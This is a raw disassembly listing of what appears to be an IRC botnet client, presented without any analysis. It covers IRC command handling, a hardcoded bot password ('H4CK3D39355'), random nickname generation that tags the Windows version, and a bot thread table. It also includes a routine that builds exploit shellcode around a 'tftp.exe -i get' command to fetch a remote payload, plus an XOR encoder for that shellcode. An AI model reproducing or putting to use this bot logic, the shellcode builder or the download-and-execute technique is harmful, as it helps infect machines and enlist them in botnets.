setnz al push eax lea eax, [ebp+var_54C] push dword_436C30 push eax call sub_408B4C lea eax, [ebp+var_54C] push eax push offset aNickS_2 ; "NICK %s\r\n" push [ebp+arg_4] call sub_4013FF lea eax, [ebp+var_54C] push eax push offset unk_437C40 call sub_4105CB loc_40858C: ; CODE XREF: sub_403038+4345j add esp, 24h loc_40858F: ; CODE XREF: sub_403038+621j ; sub_403038+62Dj ... mov eax, [ebp+arg_24] jmp loc_4034D7 ; --------------------------------------------------------------------------- loc_408597: ; CODE XREF: sub_403038+A83j ; sub_403038+A98j mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_10], esi jz loc_4034D4 cmp [ebp+var_A4], ebx jnz loc_4034D4 push offset asc_437A84 ; "!" push [ebp+var_90] call sub_417620 mov esi, eax push offset dword_4D3194 push ebx inc esi call sub_417620 push offset asc_437A88 ; "~" push eax call sub_417620 push [ebp+arg_10] mov edi, eax push offset aH4ck3d39355 ; "H4CK3D39355" call sub_417870 add esp, 20h test eax, eax jz short loc_40862D lea eax, [ebp+var_C0] push edi push eax lea eax, [ebp+var_C0] push eax push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_4013FF lea eax, [ebp+var_C0] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_4013FF push edi push esi push offset unk_437AE0 jmp short loc_408689 ; --------------------------------------------------------------------------- loc_40862D: ; CODE XREF: sub_403038+55BAj mov [ebp+arg_24], offset off_436CEC loc_408634: ; CODE XREF: sub_403038+5618j mov eax, [ebp+arg_24] push edi push dword ptr [eax] call sub_4091AC pop ecx test eax, eax pop ecx jnz short loc_40869D add [ebp+arg_24], 4 cmp [ebp+arg_24], offset off_436CF0 jl short loc_408634 lea eax, [ebp+var_C0] push edi push eax lea eax, [ebp+var_C0] push eax push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_4013FF lea eax, [ebp+var_C0] push eax push offset aNoticeSYourA_0 ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_4013FF push edi push esi push offset unk_437B60 loc_408689: ; CODE XREF: sub_403038+55F3j lea eax, [ebp+var_2E4] push eax call sub_4171D0 add esp, 30h jmp loc_403953 ; --------------------------------------------------------------------------- loc_40869D: ; CODE XREF: sub_403038+560Bj mov edi, [ebp+arg_18] xor esi, esi loc_4086A2: ; CODE XREF: sub_403038+5694j cmp [ebp+arg_10], ebx jz loc_4034D4 cmp [edi], bl jnz short loc_4086C2 push [ebp+arg_10] push offset aH4ck3d39355 ; "H4CK3D39355" call sub_417870 pop ecx test eax, eax pop ecx jz short loc_4086D3 loc_4086C2: ; CODE XREF: sub_403038+5675j inc esi add edi, 80h cmp esi, 3 jl short loc_4086A2 jmp loc_4034D4 ; --------------------------------------------------------------------------- loc_4086D3: ; CODE XREF: sub_403038+5688j shl esi, 7 add esi, [ebp+arg_18] lea eax, [ebp+var_A7C] push 7Fh push eax push esi call sub_417770 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_40870A push ebx push [ebp+var_4] push offset unk_437B8C push [ebp+var_88] push [ebp+arg_4] call sub_401445 add esp, 14h loc_40870A: ; CODE XREF: sub_403038+56B6j lea eax, [ebp+var_C0] push eax push offset unk_437BAC loc_408716: ; CODE XREF: sub_403038+58Aj ; sub_403038+3CFFj ... call sub_4105CB loc_40871B: ; CODE XREF: sub_403038+1F91j pop ecx loc_40871C: ; CODE XREF: sub_403038+211Ej pop ecx jmp loc_4034D4 ; --------------------------------------------------------------------------- loc_408722: ; CODE XREF: sub_403038+205j ; sub_403038+21Aj push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_4013FF push offset aXRi ; "-x+Ri" push [ebp+arg_10] push offset aModeSS ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_4013FF push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS_4 ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_4013FF add esp, 2Ch mov dword_4D3184, edi jmp loc_4032CC sub_403038 endp ; =============== S U B R O U T I N E ======================================= sub_408768 proc near ; CODE XREF: sub_408B4C+49p ; DATA XREF: ___:off_439F68o arg_0 = dword ptr 4 push esi push edi call near ptr 26C05FFh nop push eax call sub_417B00 call sub_417B10 xor edx, edx mov ecx, 48Fh div ecx mov edi, [esp+0Ch+arg_0] push off_439FD0[edx*4] push offset aS_29 ; "%s" push 1Ch push edi call sub_4172D0 xor esi, esi add esp, 14h cmp dword_436C2C, esi jle short loc_4087CF loc_4087A9: ; CODE XREF: sub_408768+65j call sub_417B10 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset aSI ; "%s%i" push 1Ch push edi call sub_4172D0 add esp, 14h inc esi cmp esi, dword_436C2C jl short loc_4087A9 loc_4087CF: ; CODE XREF: sub_408768+3Fj mov eax, edi pop edi pop esi retn sub_408768 endp ; --------------------------------------------------------------------------- dd 0E8905756h, 22B7E23h, 0F31EE850h, 7C8B0000h, 4C71024h dd 436CC824h, 0DC446800h, 1C6A0043h, 0EAD6E857h, 0F6330000h dd 3910C483h, 436C2C35h, 0E8267E00h, 0F304h, 59990A6Ah dd 5752F9F7h, 43DC4868h, 571C6A00h, 0EAAFE8h, 14C48300h dd 2C353B46h, 7C00436Ch, 5FC78BDAh ; --------------------------------------------------------------------------- pop esi retn ; =============== S U B R O U T I N E ======================================= sub_408832 proc near ; CODE XREF: sub_403038+4FB0p arg_0 = dword ptr 4 push ebx push esi push edi nop call near ptr 26C05FFh push eax call sub_417B00 pop ecx call sub_417B10 push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_436C2C test esi, esi jle short loc_408875 loc_40885F: ; CODE XREF: sub_408832+41j call sub_417B10 push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_40885F loc_408875: ; CODE XREF: sub_408832+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_408832 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push esi push edi mov esi, offset aPc ; "PC" mov dword ptr [ebp-4], 100h xor edi, edi nop call near ptr 26C05FFh push eax call sub_417B00 pop ecx lea eax, [ebp-4] push eax push esi nop call near ptr 26E0000h test eax, eax jnz short loc_4088B4 mov esi, offset aPc_0 ; "PC" loc_4088B4: ; CODE XREF: ___:004088ADj movsx eax, byte ptr [esi] push 41h pop ecx loc_4088BA: ; CODE XREF: ___:004088C5j cmp eax, ecx jnz short loc_4088C1 push 1 pop edi loc_4088C1: ; CODE XREF: ___:004088BCj inc ecx cmp ecx, 5Bh jl short loc_4088BA push 61h pop ecx loc_4088CA: ; CODE XREF: ___:004088D5j cmp eax, ecx jnz short loc_4088D1 push 1 pop edi loc_4088D1: ; CODE XREF: ___:004088CCj inc ecx cmp ecx, 7Bh jl short loc_4088CA test edi, edi jnz short loc_4088E0 mov esi, offset aPc_1 ; "PC" loc_4088E0: ; CODE XREF: ___:004088D9j mov edi, [ebp+8] push esi push 1Ch push edi call sub_4172D0 xor esi, esi add esp, 0Ch cmp dword_436C2C, esi jle short loc_40891F loc_4088F9: ; CODE XREF: ___:0040891Dj call sub_417B10 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset aSI_1 ; "%s%i" push 1Ch push edi call sub_4172D0 add esp, 14h inc esi cmp esi, dword_436C2C jl short loc_4088F9 loc_40891F: ; CODE XREF: ___:004088F7j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi call near ptr 26C05FFh nop push eax call sub_417B00 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h nop call near ptr 26F0000h mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset aS_31 ; "%s|" push 1Ch push edi call sub_4172D0 xor esi, esi add esp, 10h cmp dword_436C2C, esi jle short loc_408994 loc_40896E: ; CODE XREF: ___:00408992j call sub_417B10 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset aSI_2 ; "%s%i" push 1Ch push edi call sub_4172D0 add esp, 14h inc esi cmp esi, dword_436C2C jl short loc_40896E loc_408994: ; CODE XREF: ___:0040896Cj mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset dword_4D31A8 mov dword ptr [ebp-94h], 94h nop call near ptr 26F053Fh nop call near ptr 26C05FFh push eax call sub_417B00 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_408A1E cmp dword ptr [ebp-8Ch], 0 jnz short loc_4089FE cmp dword ptr [ebp-84h], 1 jnz short loc_4089EE mov esi, offset a95 ; "95" loc_4089EE: ; CODE XREF: ___:004089E7j cmp dword ptr [ebp-84h], 2 jnz short loc_408A5A mov esi, offset aNt ; "NT" jmp short loc_408A5A ; --------------------------------------------------------------------------- loc_4089FE: ; CODE XREF: ___:004089DEj cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_408A0E mov esi, offset a98 ; "98" jmp short loc_408A5A ; --------------------------------------------------------------------------- loc_408A0E: ; CODE XREF: ___:00408A05j cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_408A55 mov esi, offset aMe_0 ; "ME" jmp short loc_408A5A ; --------------------------------------------------------------------------- loc_408A1E: ; CODE XREF: ___:004089D5j cmp dword ptr [ebp-90h], 5 jnz short loc_408A55 cmp dword ptr [ebp-8Ch], 0 jnz short loc_408A37 mov esi, offset a2k ; "2K" jmp short loc_408A5A ; --------------------------------------------------------------------------- loc_408A37: ; CODE XREF: ___:00408A2Ej cmp dword ptr [ebp-8Ch], 1 jnz short loc_408A47 mov esi, offset aXp_0 ; "XP" jmp short loc_408A5A ; --------------------------------------------------------------------------- loc_408A47: ; CODE XREF: ___:00408A3Ej cmp dword ptr [ebp-8Ch], 2 mov esi, offset a2k3 ; "2K3" jz short loc_408A5A loc_408A55: ; CODE XREF: ___:00408A15j ; ___:00408A25j mov esi, offset a???_0 ; "???" loc_408A5A: ; CODE XREF: ___:004089F5j ; ___:004089FCj ... mov edi, [ebp+8] push esi push offset aS_32 ; "[%s]|" push 1Ch push edi call sub_4172D0 xor esi, esi add esp, 10h cmp dword_436C2C, esi jle short loc_408A9E loc_408A78: ; CODE XREF: ___:00408A9Cj call sub_417B10 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset aSI_3 ; "%s%i" push 1Ch push edi call sub_4172D0 add esp, 14h inc esi cmp esi, dword_436C2C jl short loc_408A78 loc_408A9E: ; CODE XREF: ___:00408A76j mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408AA4 proc near ; CODE XREF: sub_408B4C+5Cp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi call near ptr 26C05FFh nop xor edx, edx mov ecx, 5265C00h div ecx push 0 mov esi, eax cmp esi, 64h jbe short loc_408AF3 push offset aMirc_0 ; "mIRC" call dword_445354 test eax, eax mov eax, offset off_43DCA8 jnz short loc_408ADC mov eax, offset dword_4D31AC loc_408ADC: ; CODE XREF: sub_408AA4+31j push eax push esi push offset dword_43DCAC lea eax, [ebp+var_1C] push 1Ch push eax call sub_4172D0 add esp, 14h jmp short loc_408B18 ; --------------------------------------------------------------------------- loc_408AF3: ; CODE XREF: sub_408AA4+1Dj push offset aMirc_1 ; "mIRC" call dword_445354 test eax, eax mov eax, offset off_43DCBC jnz short loc_408B0C mov eax, offset dword_4D31B0 loc_408B0C: ; CODE XREF: sub_408AA4+61j push eax lea eax, [ebp+var_1C] push eax call sub_4171D0 pop ecx pop ecx loc_408B18: ; CODE XREF: sub_408AA4+4Dj lea eax, [ebp+var_1C] push eax call sub_414BE0 pop ecx cmp eax, 2 pop esi jbe short loc_408B47 push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_418680 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_417770 add esp, 18h loc_408B47: ; CODE XREF: sub_408AA4+82j mov eax, [ebp+arg_0] leave retn sub_408AA4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408B4C proc near ; CODE XREF: sub_402D58+7Fp ; sub_402EC0+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi mov esi, offset dword_439F64 loc_408B58: ; CODE XREF: sub_408B4C+3Fj cmp [ebp+arg_C], 0 jz short loc_408B73 lea eax, [esi-0Ch] push eax push [ebp+arg_C] call sub_417870 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_408B7D ; --------------------------------------------------------------------------- loc_408B73: ; CODE XREF: sub_408B4C+10j mov ecx, [esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_408B7D: ; CODE XREF: sub_408B4C+25j test eax, eax jnz short loc_408B8F add esi, 14h inc edi cmp esi, offset off_439FDC jl short loc_408B58 jmp short loc_408B9D ; --------------------------------------------------------------------------- loc_408B8F: ; CODE XREF: sub_408B4C+33j push [ebp+arg_0] lea eax, [edi+edi*4] call off_439F68[eax*4] pop ecx loc_408B9D: ; CODE XREF: sub_408B4C+41j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_408BB0 push [ebp+arg_0] call sub_408AA4 pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_408BB0: ; CODE XREF: sub_408B4C+57j mov eax, [ebp+arg_0] pop ebp retn sub_408B4C endp ; =============== S U B R O U T I N E ======================================= sub_408BB5 proc near ; CODE XREF: sub_408BD5+Ap ; sub_408CAD+8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_414BE0 push [esp+8+arg_4] mov esi, eax call sub_414BE0 pop ecx lea eax, [esi+eax*2+0C1h] pop ecx pop esi retn sub_408BB5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408BD5 proc near ; CODE XREF: ___:00408D0Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push [ebp+arg_C] push [ebp+arg_8] call sub_408BB5 cmp eax, [ebp+arg_4] pop ecx pop ecx mov [ebp+var_4], eax jbe short loc_408BF2 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_408BF2: ; CODE XREF: sub_408BD5+17j push ebx push esi push edi push [ebp+arg_8] call sub_414BE0 push [ebp+arg_C] mov esi, eax call sub_414BE0 mov edi, eax mov ebx, [ebp+arg_0] push 0FFFFFFEDh lea eax, [edi+esi+12h] mov dword_43DD54, eax lea eax, [edi+1] mov dword_43DD75, eax lea eax, [edi+17h] mov dword_43DD6D, eax pop eax push 74h sub eax, edi push offset dword_43DCF0 push ebx mov dword_43DD83, eax call sub_4187B0 push esi lea eax, [ebx+74h] push [ebp+arg_8] push eax call sub_4187B0 add esi, 74h push 5 push (offset aTftp_exeIGet+0Ch) lea eax, [esi+ebx] push eax call sub_4187B0 add esi, 5 push edi push [ebp+arg_C] lea eax, [esi+ebx] push eax call sub_4187B0 add esi, edi push 10h push (offset aTftp_exeIGet+11h) lea eax, [esi+ebx] push eax call sub_4187B0 add esp, 44h add esi, 10h push edi lea eax, [esi+ebx] push [ebp+arg_C] push eax call sub_4187B0 add esi, edi push 38h add esi, ebx push offset byte_43DD79 push esi call sub_4187B0 mov eax, [ebp+var_4] add esp, 18h pop edi pop esi pop ebx leave retn sub_408BD5 endp ; =============== S U B R O U T I N E ======================================= sub_408CAD proc near ; CODE XREF: ___:00408CD1p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_408BB5 push eax call sub_408D31 add esp, 0Ch retn sub_408CAD endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx mov ebx, [ebp+10h] push edi mov edi, [ebp+14h] push edi push ebx call sub_408CAD cmp eax, [ebp+0Ch] pop ecx pop ecx ja short loc_408CE4 cmp eax, 0FFFFh jbe short loc_408CE8 loc_408CE4: ; CODE XREF: ___:00408CDBj xor eax, eax jmp short loc_408D2D ; --------------------------------------------------------------------------- loc_408CE8: ; CODE XREF: ___:00408CE2j push esi push edi push ebx call sub_408BB5 add eax, 101h push eax call sub_414DB0 add esp, 0Ch mov esi, eax push edi push ebx push edi push ebx call sub_408BB5 pop ecx pop ecx push eax push esi call sub_408BD5 push eax push esi push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_408D4C push esi mov edi, eax call sub_415820 add esp, 24h mov eax, edi pop esi loc_408D2D: ; CODE XREF: ___:00408CE6j pop edi pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_408D31 proc near ; CODE XREF: sub_408CAD+Ep ; sub_408D4C+4Ap arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_408D3A inc ecx loc_408D3A: ; CODE XREF: sub_408D31+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_408D31 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408D4C proc near ; CODE XREF: ___:00408D1Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx cmp byte ptr [ebp+arg_C], 0Ah jz short loc_408D68 cmp byte ptr [ebp+arg_C], 0Dh jz short loc_408D68 cmp byte ptr [ebp+arg_C], 5Ch jz short loc_408D68 cmp byte ptr [ebp+arg_C], 0 jnz short loc_408D6B loc_408D68: ; CODE XREF: sub_408D4C+8j ; sub_408D4C+Ej ... inc [ebp+arg_C] loc_408D6B: ; CODE XREF: sub_408D4C+1Aj push esi mov esi, 0FFh cmp [ebp+arg_C], esi jbe short loc_408D93 mov eax, [ebp+arg_C] shr eax, 8 cmp al, 0Ah jz short loc_408D8C cmp al, 0Dh jz short loc_408D8C cmp al, 5Ch jz short loc_408D8C test al, al jnz short loc_408D93 loc_408D8C: ; CODE XREF: sub_408D4C+32j ; sub_408D4C+36j ... add [ebp+arg_C], 100h loc_408D93: ; CODE XREF: sub_408D4C+28j ; sub_408D4C+3Ej push [ebp+arg_C] call sub_408D31 cmp eax, [ebp+arg_4] pop ecx mov [ebp+var_4], eax ja short loc_408DAB cmp eax, 0FFFFh jbe short loc_408DB2 loc_408DAB: ; CODE XREF: sub_408D4C+56j xor eax, eax jmp loc_408E50 ; --------------------------------------------------------------------------- loc_408DB2: ; CODE XREF: sub_408D4C+5Dj mov ecx, [ebp+arg_C] push ebx mov bl, byte_4D31B4 xor edx, edx push edi mov edi, [ebp+arg_8] test ecx, ecx jbe short loc_408DE2 loc_408DC6: ; CODE XREF: sub_408D4C+94j mov al, [edx+edi] xor al, bl jz short loc_408DD9 cmp al, 0Ah jz short loc_408DD9 cmp al, 0Dh jz short loc_408DD9 cmp al, 5Ch jnz short loc_408DDD loc_408DD9: ; CODE XREF: sub_408D4C+7Fj ; sub_408D4C+83j ... inc bl xor edx, edx loc_408DDD: ; CODE XREF: sub_408D4C+8Bj inc edx cmp edx, ecx jb short loc_408DC6 loc_408DE2: ; CODE XREF: sub_408D4C+78j cmp ecx, esi mov byte_4D31B4, bl ja short loc_408E0E push 15h push offset loc_43DCD8 push [ebp+arg_0] mov byte_43DCE5, cl mov byte_43DCE9, bl call sub_4187B0 add esp, 0Ch push 15h jmp short loc_408E2F ; --------------------------------------------------------------------------- loc_408E0E: ; CODE XREF: sub_408D4C+9Ej push 17h push offset loc_43DCC0 push [ebp+arg_0] mov word_43DCCE, cx mov byte_43DCD3, bl call sub_4187B0 add esp, 0Ch push 17h loc_408E2F: ; CODE XREF: sub_408D4C+C0j xor eax, eax pop ecx cmp [ebp+arg_C], eax jbe short loc_408E4B mov edx, [ebp+arg_0] lea esi, [ecx+edx] loc_408E3D: ; CODE XREF: sub_408D4C+FDj mov cl, [eax+edi] xor cl, bl mov [esi+eax], cl inc eax cmp eax, [ebp+arg_C] jb short loc_408E3D loc_408E4B: ; CODE XREF: sub_408D4C+E9j mov eax, [ebp+var_4] pop edi pop ebx loc_408E50: ; CODE XREF: sub_408D4C+61j pop esi leave retn sub_408D4C endp ; =============== S U B R O U T I N E ======================================= sub_408E53 proc near ; CODE XREF: ___:00402B07p ; ___:00402B43p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_446010 loc_408E5B: ; CODE XREF: sub_408E53+18j cmp byte ptr [eax], 0 jz short loc_408E6F add eax, 234h inc edi cmp eax, offset dword_4D3010 jl short loc_408E5B jmp short loc_408EBA ; --------------------------------------------------------------------------- loc_408E6F: ; CODE XREF: sub_408E53+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_446010[esi] push eax call sub_417770 mov eax, [esp+14h+arg_4] add esp, 0Ch mov dword_446210[esi], eax and dword_446214[esi], 0 mov eax, [esp+8+arg_8] and dword_446218[esi], 0 mov dword_44621C[esi], eax and byte_446228[esi], 0 pop esi loc_408EBA: ; CODE XREF: sub_408E53+1Aj mov eax, edi pop edi retn sub_408E53 endp ; --------------------------------------------------------------------------- word_408EBE dw 8B55h ; DATA XREF: sub_403038+3DB9o dd 98EC81ECh, 8B000000h, 57560845h, 8B59266Ah, 68BD8DF0h dd 0F3FFFFFFh, 0F075FFA5h, 9480C7h, 10000h, 858D0000h dd 0FFFFFF6Ch, 50F475FFh, 0FF68B5FFh, 15E8FFFFh, 0FF000000h dd 6CE8EC75h, 83000002h, 6A14C4h, 2F70F3E8h, 5E5F9002h dd 81EC8B55h, 200ECh, 6A575600h, 1075FF00h, 43DDB468h dd 0C75FF00h, 0E80875FFh, 0FFFF8515h, 3314C483h, 6010BEFFh dd 3E800044h, 833C7400h, 7500147Dh, 4BE8309h, 2, 57562D75h dd 0FE00858Dh, 0C868FFFFh, 500043DDh, 0E26FE8h, 8D016A00h dd 0FFFE0085h, 1075FFFFh, 0C75FF50h, 0E80875FFh, 0FFFF84CDh dd 8124C483h, 234C6h, 0FE814700h, 4D3010h, 5E5FB07Ch ; --------------------------------------------------------------------------- leave retn ; =============== S U B R O U T I N E ======================================= sub_408F8E proc near ; CODE XREF: sub_403038+2FFCp ; sub_40901C+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_409016 cmp esi, 400h jge short loc_409016 imul esi, 234h push edi push ebx push dword_446224[esi] lea edi, dword_446224[esi] nop call near ptr 26D0BAFh cmp [edi], ebx jz short loc_408FC6 push 1 pop ebp loc_408FC6: ; CODE XREF: sub_408F8E+33j mov [edi], ebx lea edi, dword_446218[esi] mov dword_446210[esi], ebx mov dword_446214[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_408FE7 push eax call sub_413747 pop ecx loc_408FE7: ; CODE XREF: sub_408F8E+50j mov [edi], ebx lea edi, dword_44621C[esi] mov byte ptr dword_446010[esi], bl mov byte_446228[esi], bl push dword ptr [edi] call dword_4453E0 lea esi, dword_446220[esi] mov [edi], ebx push dword ptr [esi] call dword_4453E0 mov [esi], ebx pop edi loc_409016: ; CODE XREF: sub_408F8E+Dj ; sub_408F8E+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_408F8E endp ; =============== S U B R O U T I N E ======================================= sub_40901C proc near ; CODE XREF: sub_401317+18p ; ___:loc_402D44p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_446010 loc_409028: ; CODE XREF: sub_40901C+2Aj cmp byte ptr [esi], 0 jz short loc_409039 push edi call sub_408F8E test eax, eax pop ecx jz short loc_409039 inc ebx loc_409039: ; CODE XREF: sub_40901C+Fj ; sub_40901C+1Aj add esi, 234h inc edi cmp esi, offset dword_4D3010 jl short loc_409028 pop edi mov eax, ebx pop esi pop ebx retn sub_40901C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40904E proc near ; CODE XREF: sub_403038+2577p ; sub_4090E1+1Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_446214 loc_409062: ; CODE XREF: sub_40904E+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_409084 test edi, edi jle short loc_409076 cmp [esi], edi jz short loc_409076 cmp ebx, edi jnz short loc_409084 loc_409076: ; CODE XREF: sub_40904E+1Ej ; sub_40904E+22j push ebx call sub_408F8E test eax, eax pop ecx jz short loc_409084 inc [ebp+var_4] loc_409084: ; CODE XREF: sub_40904E+1Aj ; sub_40904E+26j ... add esi, 234h inc ebx cmp esi, offset dword_4D3214 jl short loc_409062 mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_40904E endp ; =============== S U B R O U T I N E ======================================= sub_40909B proc near ; CODE XREF: ___:00402B9Bp ; sub_403038+94Cp ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_446210 loc_4090A2: ; CODE XREF: sub_40909B+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_4090AB inc eax loc_4090AB: ; CODE XREF: sub_40909B+Dj add ecx, 234h cmp ecx, offset dword_4D3210 jl short loc_4090A2 retn sub_40909B endp ; =============== S U B R O U T I N E ======================================= sub_4090BA proc near ; CODE XREF: sub_403038+388Bp arg_0 = dword ptr 4 xor eax, eax push esi xor edx, edx mov ecx, offset dword_446210 loc_4090C4: ; CODE XREF: sub_4090BA+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_4090DD add ecx, 234h inc edx cmp ecx, offset dword_4D3210 jl short loc_4090C4 pop esi retn ; --------------------------------------------------------------------------- loc_4090DD: ; CODE XREF: sub_4090BA+10j mov eax, edx pop esi retn sub_4090BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4090E1 proc near ; CODE XREF: sub_403038+11D8p ; sub_403038+11F6p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_4090FA push [ebp+arg_1C] call sub_4174D0 pop ecx loc_4090FA: ; CODE XREF: sub_4090E1+Ej push eax push [ebp+arg_18] call sub_40904E pop ecx test eax, eax pop ecx jle short loc_409126 push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)" push eax call sub_4171D0 add esp, 14h jmp short loc_409140 ; --------------------------------------------------------------------------- loc_409126: ; CODE XREF: sub_4090E1+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s No %s thread found." push eax call sub_4171D0 add esp, 10h loc_409140: ; CODE XREF: sub_4090E1+43j cmp [ebp+arg_C], 0 jnz short loc_409160 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_401445 add esp, 14h loc_409160: ; CODE XREF: sub_4090E1+63j lea eax, [ebp+var_200] push eax call sub_410557 pop ecx leave retn sub_4090E1 endp ; =============== S U B R O U T I N E ======================================= sub_40916F proc near ; CODE XREF: sub_402D58+159p ; ___:00409748p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov dword_446224[eax], ecx mov dword_446210[eax], ecx mov dword_446214[eax], ecx mov dword_446218[eax], ecx mov dword_44621C[eax], ecx mov dword_446220[eax], ecx mov byte ptr dword_446010[eax], cl mov byte_446228[eax], cl retn sub_40916F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4091AC proc near ; CODE XREF: sub_403038+5602p ; sub_4092DA+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push 1 pop eax loc_4091B6: ; CODE XREF: sub_4091AC+68j mov cl, [esi] test cl, cl jz short loc_409216 cmp eax, 1 jnz short loc_409216 mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_409216 cmp cl, 2Ah jz short loc_4091FD cmp cl, 3Fh jz short loc_4091E0 cmp cl, 5Bh jz short loc_4091E5 xor eax, eax cmp cl, dl setz al loc_4091E0: ; CODE XREF: sub_4091AC+26j inc [ebp+arg_4] jmp short loc_409210 ; --------------------------------------------------------------------------- loc_4091E5: ; CODE XREF: sub_4091AC+2Bj lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_409242 mov esi, [ebp+arg_0] pop ecx pop ecx jmp short loc_409210 ; --------------------------------------------------------------------------- loc_4091FD: ; CODE XREF: sub_4091AC+21j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_4092DA mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_409210: ; CODE XREF: sub_4091AC+37j ; sub_4091AC+4Fj inc esi mov [ebp+arg_0], esi jmp short loc_4091B6 ; --------------------------------------------------------------------------- 